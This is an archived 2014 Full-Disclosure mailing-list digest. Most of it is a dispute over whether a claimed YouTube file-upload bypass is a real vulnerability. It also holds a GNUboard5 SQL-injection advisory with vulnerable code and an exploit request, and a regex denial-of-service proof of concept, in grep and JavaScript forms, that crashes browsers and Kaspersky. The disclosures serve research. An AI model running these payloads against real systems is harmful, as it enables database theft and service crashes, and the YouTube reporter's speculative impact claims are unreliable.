 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Michal Zalewski
 Zakewski,

 Thank you for your e-mail. I welcome all opinions, that are backed up by 
 evidences.

 I am not just a security researcher, I am also an academic in the field and 
 lecturer.

All right :-) Thank you for the overview of CIA triad. I don't think
there's a good probability that our thinking about this report will
converge - but if you see demand for the approach you are advocating
(be it in the academia or in the consulting business), I think that's
fair.

Cheers,
/mz

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Mario Vilas
On Thu, Mar 13, 2014 at 10:30 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 We confirm this to be a valid vulnerability for the following reasons.

 The access control subsystem is defeated, resulting to arbitrary write
 access of any file of choice.

 1. You Tube defines which file types are permitted to be uploaded.


And...?



 2. Exploitation is achieved by circumvention of web-based security
 controls (namely http forms, which is a weak security measure). However,
 exploitation of the issue results to unrestricted file uploads (any file of
 choice ). Remote code execution may be possible either through social
 engineering , or by stochastically rewriting an existing file-structure in
 the CDN.


So in ohter words, you haven't proven it. The upload in itself is not a
vulnerability (and if you understood that it is, please read again that
OWASP document).



 3. This directly impacts the integrity of the service since modification
 of information occurs by circumvention. Renaming the uploaded files can be
 achieved through YouTube's inherent video manager.


How does it impact the integrity? Again, unexpected functionality does not
necessarily equal exploitation.



 4. Denial of Service  attacks are feasible since we bypass all security
 restrictions. This directly impacts the availability of the service.


Not proven either. At this point I feel you're just making stuff up. All
you did was upload stuff you can't download afterwards.



 5. Malware propagation is possible, if the planted code get's executed
 through social engineering or by re-writing a valid file system structure.



Again, you need to be able to download the stuff you uploaded, and have it
executed directly. Otherwise you could do the same thing more efficiently
with Google Drive.



 6) All uploaded files can be downloaded through Google Take Out, if past
 the Content ID filtering algorithm (through file header obfuscation and
 encryption).


You need to explain how that is an attack vector.




 Best Regards,
 Nicholas Lemonias
 Advanced Information Security Corp.






 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [CVE-2014-2339] GNUboard SQL Injection Vulnerability

2014-03-14 Thread claepo.wang
==Advisory: GNUboard SQL Injection Vulnerability
Author: claepo.w...@dbappsecurity.com.cn
Affected Version: GNUboard5(the latest version)
Vendor URL: http://sir.co.kr/
Vendor Status: Unfixed(I know little about Korean,so i do not know how to describe this vul to the vendor.)==
Vulnerability Description
==

Recently, I found several vulnerabilities in the famous Korean forum program - the GNUboard.Vulnerable file: /bbs/ajax.autosave.php?php
include_once('./_common.php’);//global ‘filter' on $_GET,$_POST,$_COOKIE,$_REQUEST

if (!$is_member) die('0’);//member login

$uid = trim($_REQUEST['uid']); //current user id
$subject = trim(stripslashes($_REQUEST['subject']));  //stripslashes ignores the global filter causes a SQL Inj.
$content = trim(stripslashes($_REQUEST['content']));  //same above

if ($subject  $content) {
$sql = " select count(*) as cnt from {$g5['autosave_table']} where mb_id = '{$member['mb_id']}' and as_subject = '$subject' and as_content = '$content' ";
$row = sql_fetch($sql); //the bad str($subject|$content) insert into sql queryif (!$row['cnt']) {
$sql = " insert into {$g5['autosave_table']} set mb_id = '{$member['mb_id']}', as_uid = '{$uid}', as_subject = '$subject', as_content = '$content', as_datetime = '".G5_TIME_YMDHIS."' on duplicate key update as_subject = '$subject', as_content = '$content', as_datetime = '".G5_TIME_YMDHIS."' ";
$result = sql_query($sql, false);  // database select

echo autosave_count($member['mb_id']);
}
}
?

==
POC  EXP
==
1. Login as a member2. GEThttp://target/bbs/ajax.autosave.php?content=1subject=1[inj_exp] 	{exp can be found on my server: http://pandas.pw/gnuboard.exp}3. Page returns 1062 : Duplicate entry ~admin~*FF6F916236F4FFEE8FADD21EC20216C5C3A04E50~1' for key 'group_key’ .Done!  Thx a lot!___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] MacOSX Safari Firefox Kaspersky RegExp Remote/Local Denial of Service

2014-03-14 Thread [CXSEC]
MacOSX Safari Firefox Kaspersky RegExp Remote/Local Denial of Service
http://cxsecurity.com/


 0. Where is the problem? 
Some time ago I have reported vulnerabilities in regcomp() in BSD
implementation (CVE-2011-3336) and GNU libc implementation (CVE-2010-4051
CVE-2010-4052).
Now is the time for MacOSX and other software and It seems that the problem
is still in their implementations.


--- MacOSX 10.9.2 libc PoC ---
0:kozak6 cx$ ls |grep -E
'((.*)(((.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+))'
grep(715,0x7fff746ed310) malloc: *** mach_vm_map(size=18446744071973109760)
failed (error code=3)
*** error: can't allocate region
*** set a breakpoint in malloc_error_break to debug
grep: out of memory
--- MacOSX 10.9.2 libc PoC ---


Recursion in Apple regcomp/libc() can lead to consumption, exhaustion, etc.
(CWE-399)
The same problem occurs in javascript regexp implementation on Safari and
Firefox.
In Kaspersky 14.0.0.4651(e) CPU Exhaustion has been observed.


Verified;
- Safari 7.0.2 (9537.74.9)
  MacOSX 10.9.2 Memory exhaustion (unpatched  CVE-2011-3336)
  Phone 4S, iOS 7.0.6 Crash

- Firefox 27.0.1
  Windows: Crash
  http://cert.cx/regexp-smaczki/regcomp2.png
  http://cert.cx/regexp-smaczki/visual4.png
  http://cert.cx/regexp-smaczki/visual3.png

  MacOSX: Memory exhaustion

- Kaspersky 14.0.0.4651(e)
  CPU Exhaustion and can't restart kaspersky again
  http://cert.cx/regexp-smaczki/kaspersky.jpg


We don't know full list of affected vendors. Anyway javascript PoC
avaliable here

http://cert.cx/regexp-smaczki/regex.html

--- JavaScript PoC ---
HTML
HEAD
TITLEFirefox 27.0.1 and Safari 7.0.2 (9537.74.9)/TITLE
/HEAD
BODY BGCOLOR=#FF
SCRIPT type=text/javascript
var patt1=new
RegExp(((.*)(((.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+)));
document.write(patt1.exec(peace));
/SCRIPT
/BODY
/HTML
--- JavaScript PoC ---


On Safari and Firefox under MacOSX this script will consume excessive
memory. Windows version has allocated 3,8GB and crash



int readChecked(unsigned negativePositionOffest)
{
if (pos  negativePositionOffest)
CRASH();
unsigned p = pos - negativePositionOffest;
ASSERT(p  length);
return input[p];
}



Firefox don't support 64 bits version for windows and only 4gb can be
allocated to cause CRASH().

The most interesting is CPU Exhaustion observed in avp.exe process. Many
requests to website where RegEx()/javascript code is located cause
exhaustion of one cpu core. Closing and restarting Kaspersky is impossible.

The situation with regexp security is not declared. Many vendors think that
regcomp() should be secure by default but are also others opinions

https://bugzilla.redhat.com/show_bug.cgi?id=645859
---
Red Hat does not consider crash of client application, using regcomp()
or regexec() routines on untrusted input without preliminary checking
the input for the sanity, to be a security issue (the described deficiency
implies and is a known limitation of the glibc regular expression engine
implementation). The expressions can be modified to avoid quantification
nesting, or program modified to limit size of input passed to regular
expression engine. We do not currently plan to fix these flaws. If more
information becomes available at a future date, we may revisit these issues.
---

and try compare with ZABIX statement

https://support.zabbix.com/browse/ZBX-4625

---
It shouldn't be fixed in Zabbix. That's something to be addressed by glibc
maintainers.
---

In January 2014 Juniper has officially patched CVE-2010-4051 and
CVE-2010-4052 in own products.

http://kb.juniper.net/InfoCenter/index?page=contentid=JSA10612.

MacOSX libc in 10.9.2 is still vulnerable for CVE-2011-3336.

0:log cx$ ls |grep -E '(.?).*){1,100}){1,100}){1,100}){1,100}'

It shows how many varieties of regular expression we have and how hard it
is to keep a single standard.


--- 1. Credit ---
Maksymilian Arciemowicz
http://cxsecurity.com/


--- 2. References ---

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Julius Kivimäki
Look, you keep calling it a vulnerability with 0 evidence that it's even
exploitable. Until you can prove otherwise this is like speculating the
potential security repercussions of uploading files to EC2 (Which would
probably have potential to be much more severe than what you're discussing
here since javascript uploaded to ec2 could actually get executed by
someones browser)

You keep throwing around keywords like OWASP, OSI, security best
practices as if they actually make a difference here. Truth is there's no
reason to believe that what you have discovered here is exploitable. This
mostly seems like a desperate attempt of getting money off of google and
your name in some publication shitty enough to not do any fact checking
(eg. softpedia) .


2014-03-13 21:48 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com:

 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and full-disclosure,
 however you seem not to understand the security report fully and some core
 principles. If you can't see what information security best practises, the
 OSI/network model and self-automata propagation has anything to do with
 arbitrary write permissions to a remote network leveraging from the
 application layer, then me and you have nothing to talk about.

 As for the exploitability of this vulnerability, you will never know until
 you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.


 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Thu, Mar 13, 2014 at 7:47 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Julius Kivimäki julius.kivim...@gmail.com


 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and full-disclosure,
 however you seem not to understand the security report fully and some core
 principles. If you can't see what information security best practises, the
 OSI/network model and self-automata propagation has anything to do with
 arbitrary write permissions to a remote network leveraging from the
 application layer, then me and you have nothing to talk about.

 As for the exploitability of this vulnerability, you will never know until
 you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.



 On Thu, Mar 13, 2014 at 7:02 PM, Julius Kivimäki 
 julius.kivim...@gmail.com wrote:

 I don't see what OSI model has to do with anything here. Why is arbitrary
 file upload to youtube CDN any worse than to google drive CDN? And how will
 your self-executing encrypted virus like Cryptolocker end up getting
 executed anyways? And cryptolocker was definitely not self-executing, but
 spread via email attachments (excluding the boring USB spread
 functionality).

 What you have here is not a vulnerability, just give up. And stop trying
 to get journalists like Eduard Kovacs to spread your BS.

 2014-03-13 19:10 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 Hello Julius,

 I appreciate your interest to learn more. OWASP is quite credible, and
 has gained some international recognition. It is a benchmark for many
 vendors. I suggest you to read on OSI/7-Layer Model. A website may disallow
 uploads of certain file types for security reasons, and let's assume at the
 application layer. If we manage to get past the security controls, that
 means  we can write unrestrictedly any type of file to the remote network.
 That also means that we get past their firewall, since the communication is
 through HTTP (port 80). CDN nodes are deployed to multiple colocation
 (thousands of nodes and thousands of servers across the world). The files
 (let's say a self-executing encrypted virus like Cryptolocker? ) are cached
 deeply in the network across thousands of servers.


 On Thu, Mar 13, 2014 at 5:07 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hello Julius,

 I appreciate your interest to learn more. OWASP is quite credible, and
 has gained some international recognition. It is a benchmark for many
 vendors. I suggest you to read on OSI/7-Layer Model. A website may disallow
 uploads of certain file types for security reasons, and let's assume at the
 application layer. If we manage to get past the security controls, that
 means  we can write unrestrictedly any type of file to the remote network.
 That also means that we get past their firewall, since the communication is
 through HTTP (port 80). CDN nodes are deployed to multiple colocation
 (thousands of nodes and thousands of servers across the world). The files
 are cached deep in the network structures to thousands of 

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Nicholas Lemonias.
We confirm this to be a valid vulnerability for the following reasons.

The access control subsystem is defeated, resulting to arbitrary write
access of any file of choice.

1. You Tube defines which file types are permitted to be uploaded.

2. Exploitation is achieved by circumvention of web-based security controls
(namely http forms, which is a weak security measure). However,
exploitation of the issue results to unrestricted file uploads (any file of
choice ). Remote code execution may be possible either through social
engineering , or by stochastically rewriting an existing file-structure in
the CDN.

3. This directly impacts the integrity of the service since modification of
information occurs by circumvention. Renaming the uploaded files can be
achieved through YouTube's inherent video manager.

4. Denial of Service  attacks are feasible since we bypass all security
restrictions. This directly impacts the availability of the service.

5. Malware propagation is possible, if the planted code get's executed
through social engineering or by re-writing a valid file system structure.


6) All uploaded files can be downloaded through Google Take Out, if past
the Content ID filtering algorithm (through file header obfuscation and
encryption).


It is pertinent to note that all publications are made to help mature the
practise and we application security.

Best Regards,
Nicholas Lemonias
Advanced Information Security Corp.

EOF


On Thu, Mar 13, 2014 at 11:06 PM, Julius Kivimäki julius.kivim...@gmail.com
 wrote:

 Look, you keep calling it a vulnerability with 0 evidence that it's even
 exploitable. Until you can prove otherwise this is like speculating the
 potential security repercussions of uploading files to EC2 (Which would
 probably have potential to be much more severe than what you're discussing
 here since javascript uploaded to ec2 could actually get executed by
 someones browser)

 You keep throwing around keywords like OWASP, OSI, security best
 practices as if they actually make a difference here. Truth is there's no
 reason to believe that what you have discovered here is exploitable. This
 mostly seems like a desperate attempt of getting money off of google and
 your name in some publication shitty enough to not do any fact checking
 (eg. softpedia) .


 2014-03-13 21:48 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and full-disclosure,
 however you seem not to understand the security report fully and some core
 principles. If you can't see what information security best practises, the
 OSI/network model and self-automata propagation has anything to do with
 arbitrary write permissions to a remote network leveraging from the
 application layer, then me and you have nothing to talk about.

 As for the exploitability of this vulnerability, you will never know
 until you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.


 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Thu, Mar 13, 2014 at 7:47 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Julius Kivimäki julius.kivim...@gmail.com


 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and full-disclosure,
 however you seem not to understand the security report fully and some core
 principles. If you can't see what information security best practises, the
 OSI/network model and self-automata propagation has anything to do with
 arbitrary write permissions to a remote network leveraging from the
 application layer, then me and you have nothing to talk about.

 As for the exploitability of this vulnerability, you will never know
 until you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.



 On Thu, Mar 13, 2014 at 7:02 PM, Julius Kivimäki 
 julius.kivim...@gmail.com wrote:

 I don't see what OSI model has to do with anything here. Why is
 arbitrary file upload to youtube CDN any worse than to google drive CDN?
 And how will your self-executing encrypted virus like Cryptolocker
 end up getting executed anyways? And cryptolocker was definitely not
 self-executing, but spread via email attachments (excluding the boring
 USB spread functionality).

 What you have here is not a vulnerability, just give up. And stop trying
 to get journalists like Eduard Kovacs to spread your BS.

 2014-03-13 19:10 GMT+02:00 Nicholas Lemonias. 
 lem.niko...@googlemail.com:

 Hello Julius,

 I appreciate your interest to learn more. OWASP is quite credible, and
 has gained 

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Nicholas Lemonias.
Here's my evidence.

Live Proof Of Concept
==
http://upload.youtube.com/?authuser=0upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw


{sessionStatus:{state:FINALIZED,externalFieldTransfers:[{name:file,status:COMPLETED,bytesTransferred:113,bytesTotal:113,formPostInfo:{url:
http://www.youtube.com/upload/rupio?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026file_id=000
,cross_domain_url:
http://upload.youtube.com/?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026origin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw},content_type:text/x-sh}],additionalInfo:{uploader_service.GoogleRupioAdditionalInfo:{completionInfo:{status:SUCCESS,customerSpecificInfo:{status:
ok, video_id:
KzKDtijwHFI,upload_id:AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw}}

The above proof of concept demonstrates :

1. We have bypassed the security controls in Youtube and uploaded an
unexpected file type.
2. The file is persistent and has not been deleted by YouTube.
3. It can be queried for information since it is assigned a unique
upload_id.
4. It's successfully uploaded to youtube.com  As you can see it give out
the total bytes written to the remote network.
5. content_type:text/x-sh}]   --- The file is a shell
script script named 'file'
6. It can be enumerated by a non-authenticated user, remotely.


On Fri, Mar 14, 2014 at 2:40 AM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Are you a Google employee...I wonder?

 There is nothing else to be said regarding this. Our research for remote
 code execution continues and will let you and Google  know once that is
 confirmed; through the coordinated security program.

 And please OWASP, is recognised worldwide.


 Best Regards,
 Nicholas Lemonias


 On Thu, Mar 13, 2014 at 11:06 PM, Julius Kivimäki 
 julius.kivim...@gmail.com wrote:

 Look, you keep calling it a vulnerability with 0 evidence that it's
 even exploitable. Until you can prove otherwise this is like speculating
 the potential security repercussions of uploading files to EC2 (Which would
 probably have potential to be much more severe than what you're discussing
 here since javascript uploaded to ec2 could actually get executed by
 someones browser)

 You keep throwing around keywords like OWASP, OSI, security best
 practices as if they actually make a difference here. Truth is there's no
 reason to believe that what you have discovered here is exploitable. This
 mostly seems like a desperate attempt of getting money off of google and
 your name in some publication shitty enough to not do any fact checking
 (eg. softpedia) .


 2014-03-13 21:48 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and
 full-disclosure, however you seem not to understand the security report
 fully and some core principles. If you can't see what information security
 best practises, the OSI/network model and self-automata propagation has
 anything to do with arbitrary write permissions to a remote network
 leveraging from the application layer, then me and you have nothing to talk
 about.

 As for the exploitability of this vulnerability, you will never know
 until you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.


 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Thu, Mar 13, 2014 at 7:47 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Julius Kivimäki julius.kivim...@gmail.com


 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and
 full-disclosure, however you seem not to understand the security report
 fully and some core principles. If you can't see what information security
 best practises, the OSI/network model and self-automata propagation has
 anything to do with arbitrary write permissions to a remote network
 leveraging from the application layer, then me and you have nothing to talk
 about.

 As for the exploitability of this vulnerability, you will never know
 until you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.



 On Thu, Mar 13, 2014 at 7:02 PM, Julius Kivimäki 
 julius.kivim...@gmail.com wrote:

 I don't see what OSI model has 

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Nicholas Lemonias.
Zakewski,

Thank you for your e-mail. I welcome all opinions, that are backed up by
evidences.

I am not just a security researcher, I am also an academic in the field and
lecturer.

However, from an academic perspective, when it comes to certain
security designs the mere existence of unvalidated requests is symptomatic
of deeper code problems. Thus, in academia such definitions are vague,
unless they are either backed-up by original, incisive research, or by
existing subject matter literature which is widely accepted.

In terms of what constitutes a security vulnerability, it is a weakness in
a product or service that may allow an attacker to compromise the (C-I-A)
Confidentiality, Integrity and Availability of that same service, and I bet
you 've heard this many times before. Adequate security requirements entail
properties of 1) confidentiality, 2) integrity, 3) availability
 but also 4) authorization , 5) non-repudiation and 6) authentication.

Integrity: Integrity refers to the trustworthiness of a resource. An
attacker exploits a weakness in a service to modify it silently and without
authorization means is compromising the integrity of that service.

 Example: A weakness that allows an administrator to change the permission
sets on a file , that is not a security vulnerability because an
administrator already has this capability. However if a weakness allowed an
unprivileged user to do the same thing (say to write arbitrary files to a
remote service), that would constitute to a security vulnerability.

Availability*:* Availability refers to the ability to access a resource. An
attacker that exploits a weakness in a service, denying appropriate user
access to it, is thus compromising the availability of that particular
service. In our case a Denial of Service is feasible, because the uploaded
files are persistent and can  lead to resource exhaustion.

Example: A weakness that enables an attacker  to cause a server to fail
would constitute a vulnerability, since the attacker denies resources
pertinent to that service. Resource exhaustion is possible.

Confidentiality: Confidentiality refers to the disclosure of information,
to unauthorised parties. However this is by no means the only property
required for security. In this case just because we haven't accessed some
files, that does not mean that the service is secure.

Authorization: Refers to the process of determining which 'principals' have
access and to which 'objects'. Access control is a type of authorization,
hence its name. In case of the API upload functionality, a script is loaded
and somewhere a write() function is called. The access control was weak
since it was web-based. We could arbitrary write() any file of choice to
the system as a result, something that only an administrator with full
permission sets should be able to do.

admin.youtube.com is the admin login.


On Fri, Mar 14, 2014 at 4:19 AM, Michal Zalewski lcam...@coredump.cxwrote:

 Nicholas,

 I remember my early years in the infosec community - and sadly, so do
 some of the more seasoned readers of this list :-) Back then, I
 thought that the only thing that mattered is the ability to find bugs.
 But after some 18 years in the industry, I now know that there's an
 even more important and elusive skill.

 That skill boils down to having a robust mental model of what
 constitutes a security flaw - and being able to explain your thinking
 to others in a precise and internally consistent manner that convinces
 others to act. We need this because the security of a system can't be
 usefully described using abstract terms: even the academic definitions
 ultimately boil down to saying the system is secure if it doesn't do
 the things we *really* don't want it to do.

 In this spirit, the term vulnerability is generally reserved for
 behaviors that meet all of the following criteria:

 1) The behavior must have negative consequences for at least one of
 the legitimate stakeholders (users, service owners, etc),

 2) The consequences must be widely seen as unexpected and unacceptable,

 3) There must be a realistic chance of such a negative outcome,

 4) The behavior must introduce substantial new risks that go beyond
 the previously accepted trade-offs.

 If we don't have that, we usually don't have a case, no matter how
 clever the bug is.

 Cheers (and happy hunting!),
 /mz

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Nicholas Lemonias.
Hi Jerome,

Thank you for agreeing on access control, and separation of duties.

However successful exploitation permits arbitrary write() of any file of
choice.

I could release an exploit code in C Sharp or Python that permits multiple
file uploads of any file/types, if the Google security team feels that this
would be necessary. This is unpaid work, so we are not so keen on that job.



On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly, so do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find bugs.
  But after some 18 years in the industry, I now know that there's an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your thinking
  to others in a precise and internally consistent manner that convinces
  others to act. We need this because the security of a system can't be
  usefully described using abstract terms: even the academic definitions
  ultimately boil down to saying the system is secure if it doesn't do
  the things we *really* don't want it to do.
 
  In this spirit, the term vulnerability is generally reserved for
  behaviors that meet all of the following criteria:
 
  1) The behavior must have negative consequences for at least one of
  the legitimate stakeholders (users, service owners, etc),
 
  2) The consequences must be widely seen as unexpected and unacceptable,
 
  3) There must be a realistic chance of such a negative outcome,
 
  4) The behavior must introduce substantial new risks that go beyond
  the previously accepted trade-offs.
 
  If we don't have that, we usually don't have a case, no matter how
  clever the bug is.
 
  Cheers (and happy hunting!),
  /mz
 
  ___
  Full-Disclosure - We believe in it.
  Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Nicholas Lemonias.
Thanks Michal,

We are just trying to improve Google's security and contribute to the
research community after all. If you are still on EFNet give me a shout
some time.

 We have done so and consulted to hundreds of clients including Microsoft,
Nokia, Adobe and some of the world's biggest corporations. We are also
strict supporters of the ACM code of conduct.

Regards,
Nicholas Lemonias.
AISec


On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file of
 choice.

 I could release an exploit code in C Sharp or Python that permits multiple
 file uploads of any file/types, if the Google security team feels that this
 would be necessary. This is unpaid work, so we are not so keen on that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly, so do
